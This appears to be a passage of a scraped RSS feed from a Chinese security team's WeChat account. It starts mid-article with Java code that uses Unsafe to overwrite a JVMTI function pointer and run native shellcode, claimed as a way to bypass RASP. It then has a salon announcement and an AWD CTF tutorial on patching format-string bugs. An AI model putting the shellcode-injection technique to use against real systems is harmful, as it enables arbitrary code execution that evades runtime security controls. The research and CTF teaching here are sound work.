:&#34;</span>+j);</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (target%<span class="code-snippet__number">8</span>&gt;<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">if</span> (target&gt;(allocateMemory&amp;<span class="code-snippet__number">0xffffffff00000000</span>l)&amp;&amp;target&lt;(allocateMemory|<span class="code-snippet__number">0xffffffff</span>l))</span></code><code><span class="code-snippet_outer">                {</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> ((target&amp;<span class="code-snippet__number">0xffffffffff000000</span>l)==(allocateMemory&amp;<span class="code-snippet__number">0xffffffffff000000</span>l))</span></code><code><span class="code-snippet_outer">                    {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (Long.toHexString(target).indexOf(<span class="code-snippet__string">&#34;0000000&#34;</span>)&gt;<span class="code-snippet__number">0</span>||Long.toHexString(target).endsWith(<span class="code-snippet__string">&#34;bebeb0&#34;</span>)||Long.toHexString(target).endsWith(<span class="code-snippet__string">&#34;abebeb&#34;</span>))</span></code><code><span class="code-snippet_outer">                    {</span></code><code><span class="code-snippet_outer">                        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;maybe error address,skip &#34;</span>+Long.toHexString(target));</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">continue</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;BYTE:&#34;</span>+<span class="code-snippet__keyword">unsafe</span>.getByte(target));</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__comment">//System.out.println(&#34;get address:&#34;+Long.toHexString(target)+&#34;,at :&#34;+Long.toHexString(allocateMemory-j));</span></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">unsafe</span>.getByte(target)==<span class="code-snippet__number">0X55</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==<span class="code-snippet__number">0XE8</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==(<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">0xA0</span>||<span class="code-snippet__keyword">unsafe</span>.getByte(target)==<span class="code-snippet__number">0x48</span>)</span></code><code><span class="code-snippet_outer">                    {</span></code><code><span class="code-snippet_outer">                        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;get bigger cache address:&#34;</span>+Long.toHexString(target)+<span class="code-snippet__string">&#34;,at :&#34;</span>+Long.toHexString(allocateMemory-j*offset)+<span class="code-snippet__string">&#34;,BYTE:&#34;</span>+Long.toHexString(<span class="code-snippet__keyword">unsafe</span>.getByte(target)));</span></code><code><span class="code-snippet_outer">                        shellcodeBed=target;</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        System.<span class="code-snippet__keyword">out</span>.println(<span class="code-snippet__string">&#34;find address end,address is &#34;</span>+Long.toHexString(shellcodeBed)+<span class="code-snippet__string">&#34; mod 8 is:&#34;</span>+shellcodeBed%<span class="code-snippet__number">8</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        String address=<span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        allocateMemory=shellcodeBed;</span></code><code><span class="code-snippet_outer">        address=allocateMemory+<span class="code-snippet__string">&#34;&#34;</span>;</span></code><code><span class="code-snippet_outer">        Class cls=Class.forName(<span class="code-snippet__string">&#34;sun.instrument.InstrumentationImpl&#34;</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        Constructor constructor=cls.getDeclaredConstructors()[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">        constructor.setAccessible(<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        Object obj=constructor.newInstance(Long.parseLong(address),<span class="code-snippet__literal">true</span>,<span class="code-snippet__literal">true</span>);</span></code><code><span class="code-snippet_outer">        Method redefineMethod=cls.getMethod(<span class="code-snippet__string">&#34;redefineClasses&#34;</span>,<span class="code-snippet__keyword">new</span> Class[]{ClassDefinition[].class});</span></code><code><span class="code-snippet_outer">        ClassDefinition classDefinition=<span class="code-snippet__keyword">new</span> ClassDefinition(</span></code><code><span class="code-snippet_outer">                Class.class,</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[]{});</span></code><code><span class="code-snippet_outer">        ClassDefinition[] classDefinitions=<span class="code-snippet__keyword">new</span> ClassDefinition[]{classDefinition};</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unsafe</span>.putLong(allocateMemory+<span class="code-snippet__number">8</span>,allocateMemory+<span class="code-snippet__number">0x10</span>);  <span class="code-snippet__comment">//set **jvmtienv point to it&#39;s next memory region</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unsafe</span>.putLong(allocateMemory+<span class="code-snippet__number">8</span>+<span class="code-snippet__number">8</span>,allocateMemory+<span class="code-snippet__number">0x10</span>); <span class="code-snippet__comment">//set *jvmtienv point to itself</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">unsafe</span>.putLong(allocateMemory+<span class="code-snippet__number">0x10</span>+<span class="code-snippet__number">0x168</span>,allocateMemory+<span class="code-snippet__number">0x10</span>+<span class="code-snippet__number">0x168</span>+<span class="code-snippet__number">8</span>); <span class="code-snippet__comment">//overwrite allocate function pointer  to allocateMemory+0x10+0x168+8</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">for</span> (<span class="code-snippet__keyword">int</span> k=<span class="code-snippet__number">0</span>;k&lt;buf.length;k++)</span></code><code><span class="code-snippet_outer">            {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">unsafe</span>.putByte(allocateMemory+<span class="code-snippet__number">0x10</span>+<span class="code-snippet__number">0x168</span>+<span class="code-snippet__number">8</span>+k,buf[k]); <span class="code-snippet__comment">//write shellcode to allocate function body</span></span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">            redefineMethod.invoke(obj,<span class="code-snippet__keyword">new</span> Object[]{classDefinitions});  <span class="code-snippet__comment">//trigger allocate</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">catch</span> (Exception e)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            e.printStackTrace();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">int</span> <span class="code-snippet__title">a</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">int</span> x</span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (x&gt;<span class="code-snippet__number">1</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// System.out.println(&#34;x&gt;1&#34;);</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// System.out.println(&#34;x&lt;=1&#34;);</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> x*<span class="code-snippet__number">1</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">b</span>(<span class="code-snippet__params"><span class="code-snippet__keyword">int</span> x</span>)</span></span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (a(x)&gt;<span class="code-snippet__number">1</span>)</span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">//System.out.println(&#34;x&gt;1&#34;);</span></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.a(x);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">else</span></span></code><code><span class="code-snippet_outer">        {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.a(x+<span class="code-snippet__number">4</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__comment">// System.out.println(&#34;x&lt;=1&#34;);</span></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">编译，运行，成功执行了shellcode，弹出计算器。</p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><img data-w="1080" data-type="png" style="box-sizing: border-box;display: inline;" data-ratio="0.8925925925925926" src="https://wechat2rss.xlab.app/img-proxy/?k=11a62cbb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNibB5XpxIRIcGHBwliaXeUsP0icOC3TMya8KUUtqG7PRUlC7UOTkibHMVC9e8Uicpb4LXG1CRWia0xRDicwA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">到此，我们通过纯Java代码实现了跨平台的任意Native代码执行，从而可以解锁很多新玩法，比如绕过RASP实现命令执行、文件读写、数据库连接等等。</p><h3 style="box-sizing: border-box;margin: 40px 10px 20px;font-weight: bold;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;">小结</h3><p style="box-sizing: border-box;margin: 10px;font-size: 16px;white-space: normal;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;">本文主要介绍了几种我最近研究的内存相关的攻击方法，欢迎大家交流探讨，文中使用的测试环境为Win10_x64、Ubuntu16.04_x64、Java 1.8.0_301_x64、Java 1.8.0_271_x64。由于文章拖得比较久了，所以行文略有仓促，若有纰漏之处，欢迎批评指正。</p><p><br/></p>



<p><a href="2247484636">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=06e6af05&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484636%26idx%3D1%26sn%3Dc49e90b3ff68b7811e4151ba54317190%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 17 Aug 2021 20:14:00 +0800</pubDate>
    </item>
    <item>
      <title>银针安全沙龙上海站议程新鲜出炉</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484260&amp;idx=1&amp;sn=59be435e2f1aee4d8f49bc226b1cfa14</link>
      <description>银针安全沙龙上海站议程新鲜出炉，本周六下午2点华为上海研究所见！</description>
      <content:encoded><![CDATA[<p>
<span>小仙女</span> <span>2021-07-05 17:20</span> <span style="display: inline-block;"></span>
</p>

<p>银针安全沙龙上海站议程新鲜出炉，本周六下午2点华为上海研究所见！</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=06349ec3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNiceX6N0AOfz4SZ97A5gicVZXC7UESRDvxVRp86sb8icYNRGRBn4bY7VeiauqXX6MTnXPME71f2Hia1Nlw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="4.580152671755725" data-s="300,640" style="" data-type="jpeg" data-w="786" src="https://wechat2rss.xlab.app/img-proxy/?k=788467b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNiceX6N0AOfz4SZ97A5gicVZXb5j46zC6jqUxrrVVetDsPnwCWsLJxKX4euXWFaT6tvGwX7gjjngSdQ%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p>



<p><a href="2247484260">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=460a88db&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484260%26idx%3D1%26sn%3D59be435e2f1aee4d8f49bc226b1cfa14%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 05 Jul 2021 17:20:00 +0800</pubDate>
    </item>
    <item>
      <title>【文末福利】银针安全沙龙上海站嘉宾招募，这个盛夏与你在上海不期而遇~</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484255&amp;idx=1&amp;sn=204e60640794c45d0fa0bc91c0ae15bd</link>
      <description>银针安全沙龙上海站开启报名！转发赢银针安全沙龙定制T恤~</description>
      <content:encoded><![CDATA[<p>
<span>小仙女</span> <span>2021-06-28 17:51</span> <span style="display: inline-block;"></span>
</p>

<p>银针安全沙龙上海站开启报名！转发赢银针安全沙龙定制T恤~</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=267c43c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNibT5Xch8RCAonMgLNS6Brcf9jsmVy80qZC7UU0jHnMgicWoJsmpfjibYLphubqkGZhlvickZDDzWmibTg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-indent: 2em;"><span style="font-family: 宋体;letter-spacing: 0.544px;text-indent: 34px;background-color: rgb(255, 255, 255);">这个盛夏，一年一度的银针安全沙龙将走进上海，开启一场“渗透技术与攻防实战”主题的技术盛宴。上海的技术大神们，欢迎光临~！</span></section><p style="text-align: left;"><img class="rich_pages js_insertlocalimg" data-ratio="1.5" data-s="300,640" style="" data-type="jpeg" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=db3a2dd0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNibT5Xch8RCAonMgLNS6Brcf67iaghQmQ1m5NMvMZ59QyzpcUJAr7xfkic93o5aMLkQvIAEF9NcPpiagg%2F640%3Fwx_fmt%3Djpeg"/><span style="text-indent: 2em;text-align: justify;">——专注技术，只做精品沙龙——</span></p><p style="text-indent: 2em;"><span style="text-indent: 2em;">银针安全沙龙是由银针安全团队发起</span><span style="text-indent: 2em;">的邀请制闭门</span><span style="text-indent: 2em;">沙龙。</span><br/></p><section style="text-indent: 2em;">拒绝排排坐听讲课，银针安全沙龙每期只邀请30位一线安全研究员围桌而坐，同业界大咖和银针安全实验室成员共同研讨当下最新的攻防实战课题，来一场纯技术的头脑风暴！</section><section style="text-indent: 2em;">7月10日，银针安全沙龙上海站将在华为上海研究所举办，本次活动邀请到华为银针安全实验室、华为奇点安全实验室、腾讯安全、长亭科技等技术大佬到场，议题聚焦当下最热门的业务和技术，围绕渗透技术和实战攻防开展一场闭门研讨！<br/></section><section style="text-indent: 2em;">本次上海站活动将延续以往的邀请制原则，由嘉宾自主报名提供个人简介，严格筛选奋战在一线的安全研究员，欢迎各位大神报名参与~感兴趣的小伙伴请添加沙龙<strong>工作人员微信：13505187907，备注银针安全沙龙上海站报名</strong>，我们将在了解您的基本情况后给出报名结果。</section><section style="text-indent: 2em;">PS：如果您想在沙龙现场分享您最新的研究成果和技术，也欢迎您带着议题联系我们，我们欢迎技术爱好者的声音！</section><section style="text-indent: 2em;">转发本文章到朋友圈并截图反馈至公众号后台，我们将在7月7日随机抽取两名幸运伙伴，送出银针安全沙龙定制T恤一件~（经银针大佬邱老师亲测，穿起来超级舒服哦~！）</section><section style="text-indent: 2em;">上海的小伙伴puts your hands up，我们的手机已准备好震个不停啦~！<span style="text-indent: 2em;"></span></section><section style="text-indent: 2em;"><br/></section>



<p><a href="2247484255">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7e3b27c7&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzU1NzcxNjAyMQ%3D%3D%26mid%3D2247484255%26idx%3D1%26sn%3D204e60640794c45d0fa0bc91c0ae15bd%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 28 Jun 2021 17:51:00 +0800</pubDate>
    </item>
    <item>
      <title>AWD中二进制补丁的常见手工打法</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzU1NzcxNjAyMQ==&amp;mid=2247484249&amp;idx=1&amp;sn=ff86c9824f3fd9abaf7cf19210bde604</link>
      <description>银针</description>
      <content:encoded><![CDATA[<p>
原创 <span>rec0rd</span> <span>2021-06-26 11:00</span> <span style="display: inline-block;"></span>
</p>

<p>银针</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=d577eb7a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5vGu6CbUuibbf4CjvG5ickTVEAeiccibqgLicyWjW2ElTicLO9l4ic8JkoqfPA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style=""><span style="font-size: 18px;"><strong>背景介绍</strong></span></h2><p>近年来CTF攻防赛（AWD）趋向于攻防对等，即主办方会想办法让漏洞的修复变难，以此来增强比赛的趣味性（想象一下，如果漏洞修复很简单，大家上来一阵修复、通防，谁还能得分呢）。有时候，打补丁是如此的重要，以至于只要能打好补丁，就可以获取很好的成绩了。</p><p>让漏洞修复变难的办法很多，例如复杂的代码逻辑让漏洞发现时间变长、逐渐加强的checker等。复杂代码逻辑的作用是有限的，因为如果搞的太复杂，以至于在比赛时间内没人能写好exp，那题目就没有效果了。所以，变态的checker才是常用的解决方案。</p><p>为了对抗通防，目前的checker在静态阶段基本上都会进行hexdiff，例如要求打补丁之后的ELF和原始ELF相差不能超过100字节、补丁不能修改某些关键的寄存器等等。动态阶段的测试用例也会比较严格。因而，稳定可靠的二进制补丁还是要靠手工，以便于精准控制过checker。</p><p><br/></p><h2 style=""><span style="font-size: 18px;"><strong>基础知识</strong></span></h2><p>提前了解以下几个基础知识，对打补丁很有帮助</p><ul class="list-paddingleft-2"><li><p><strong>易失、非易失寄存器</strong></p></li></ul><table><thead><tr><th>Register</th><th>状态</th><th>含义</th></tr></thead><tbody><tr><td>RAX</td><td>易失的</td><td>返回值寄存器</td></tr><tr><td>RCX</td><td>易失的</td><td>第一个整型参数</td></tr><tr><td>RDX</td><td>易失的</td><td>第二个整型参数</td></tr><tr><td>R8</td><td>易失的</td><td>第三个整型参数</td></tr><tr><td>R9</td><td>易失的</td><td>第四个整型参数</td></tr><tr><td>R10:R11</td><td>易失的</td><td>必须根据需要由调用方保留；在 syscall/sysret 指令中使用</td></tr><tr><td>R12:R15</td><td>非易失的</td><td>必须由被调用方保留</td></tr><tr><td>RDI</td><td>非易失的</td><td>必须由被调用方保留</td></tr><tr><td>RSI</td><td>非易失的</td><td>必须由被调用方保留</td></tr><tr><td>RBX</td><td>非易失的</td><td>必须由被调用方保留</td></tr><tr><td>RBP</td><td>非易失的</td><td>可用作帧指针；必须由被调用方保留</td></tr><tr><td>RSP</td><td>非易失的</td><td>堆栈指针</td></tr><tr><td>XMM0</td><td>易失的</td><td>第一个 FP 参数</td></tr><tr><td>XMM1</td><td>易失的</td><td>第二个 FP 参数</td></tr><tr><td>XMM2</td><td>易失的</td><td>第三个 FP 参数</td></tr><tr><td>XMM3</td><td>易失的</td><td>第四个 FP 参数</td></tr><tr><td>XMM4:XMM5</td><td>易失的</td><td>必须根据需要由调用方保留</td></tr><tr><td>XMM6:XMM15</td><td>非易失的</td><td>必须根据需要由被调用方保留</td></tr></tbody></table><p>打补丁时要注意，如果需要使用寄存器的话，尽量使用易失寄存器，因为非易失寄存器可能在函数上层有汇编依赖于其值不变。</p><ul class="list-paddingleft-2"><li><p><strong>关键指令理解</strong></p></li></ul><p>call xxx : push rip; jmp xxx;</p><p>leave: mov rsp,rbp; pop rbp;</p><p>ret: pop rip; jmp rip;</p><ul class="list-paddingleft-2"><li><p><strong>补丁中常用汇编指令</strong></p></li></ul><p>[比较]<br/>cmp xx<br/> ja jb ：无符号判断<br/>jg jl  ：有符号判断<br/>jz jnz  / je jne<br/> jp jnp ：偶判断</p><p>[移位]<br/>SHL(Shift Left):  逻辑左移<br/>SHR(Shift Right):  逻辑右移<br/>SAL(Shift Arithmetic Left):  算术左移<br/>SAR(Shift Arithmetic Right): 算术右移</p><p>[条件指令]<br/>cmov[a/b/g/l/ae/be/ge/le] xxx, xxx</p><p>[strlen]<br/> (to find the length of the string whose starting address is in EDI：)</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">sub</span>  <span class="code-snippet__string">ecx, ecx</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">sub</span>  <span class="code-snippet__string">al, al</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">not</span>  <span class="code-snippet__string">ecx</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">cld</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">repne</span>  <span class="code-snippet__string">scasb</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">not</span>  <span class="code-snippet__string">ecx</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">dec  ecx</span></span></code></pre></section><p>ecx值即为strlen的值。</p><ul class="list-paddingleft-2"><li><p><strong>eh_frame</strong></p></li></ul><p>当我们需要插入汇编代码时，往往会使用到这个空闲段，跳进去执行插入代码再跳回来。</p><ul class="list-paddingleft-2"><li><p><strong>替换、插入</strong></p></li></ul><p>有时候我们仅仅需要修改、替换指令，多余的位置nop即可，有时候复杂的patch逻辑就需要插入代码来实现；这两种模式我们称为替换模式和插入模式。</p><ul class="list-paddingleft-2"><li><p><strong>keypatch</strong></p></li></ul><p>IDA超好用的patch插件，我们只需要在里面写汇编，跳转偏移（机器码）之类的计算该插件会自动帮我们完成。</p><p><br/></p><h2><span style="font-size: 18px;"><strong>几种常见patch的打法</strong></span></h2><h3>1. printf格式化串漏洞</h3><p>x64补丁写法：</p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="140" data-backw="578" data-ratio="0.24140625" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=0239b6b2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5UmYHAnoAFWloDGoO78vGicELiad6hwAvu8I08gWpPX8105Tbj1C1bCOw%2F640%3Fwx_fmt%3Dpng"/></p><p>printf前插入（加入%s参数）</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">push</span> <span class="code-snippet__string">0x00007325</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">mov</span> <span class="code-snippet__string">rsi, rdi</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">lea rdi, [rsp]</span></span></code></pre></section><p>printf后插入(栈平衡)</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="cs"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">add</span> rsp, <span class="code-snippet__number">8</span></span></code></pre></section><p>x86补丁写法：</p><p><img class="rich_pages js_insertlocalimg" data-backh="147" data-backw="578" data-ratio="0.25317460317460316" data-s="300,640" style="white-space: normal;text-align: center;width: 578px;" data-type="png" data-w="1260" src="https://wechat2rss.xlab.app/img-proxy/?k=42e2032f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5LQ8TtME7CcTkIicDJpjeXt5bDlONhBLmapv20QRZqWUqeCwenABnJzA%2F640%3Fwx_fmt%3Dpng"/></p><p>762处替换为：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">sub</span> esp, <span class="code-snippet__number">8</span></span></code></pre></section><p>769处插入：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">pop</span> ecx;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">push</span> 0x00007325;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">push</span> ecx;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">lea</span> eax, [esp+<span class="code-snippet__number">4</span>];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">push</span> eax;</span></code></pre></section><p>注：如果plt中有puts，可以尝试用puts来修复，不过强checker下可能会校验不通过。</p><h3>2. snprintf格式化串漏洞</h3><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="245" data-backw="578" data-ratio="0.4234375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=91085a04&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5FMaqU4LjDjHV5Qn4ub7iapbBxn0ibYibf0A5msy7wS9QEInuwXKpNbYaA%2F640%3Fwx_fmt%3Dpng"/></p><p>b60处插入：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="nginx"><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mov</span> ecx, 0x00007325;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mov</span> [esp+0x10], ecx;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">lea</span> ecx, [esp+0x10];</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mov</span> [esp+0xc], eax;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__attribute">mov</span> [esp+0x8], ecx;</span></code></pre></section><h3>3. off by null</h3><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="364" data-backw="578" data-ratio="0.6298701298701299" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1232" src="https://wechat2rss.xlab.app/img-proxy/?k=c2dd1c91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FpXIZNz7uPNicC36jiaoSoo0kDbZibv8BvH5l3fZvgIWWGfwicLFyCuMQwsEBiaxxWr4H2vn5eCeKHxeWnIrsh0iczPhg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-backh="180" data-backw="578" data-ratio="0.3109375" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1280" 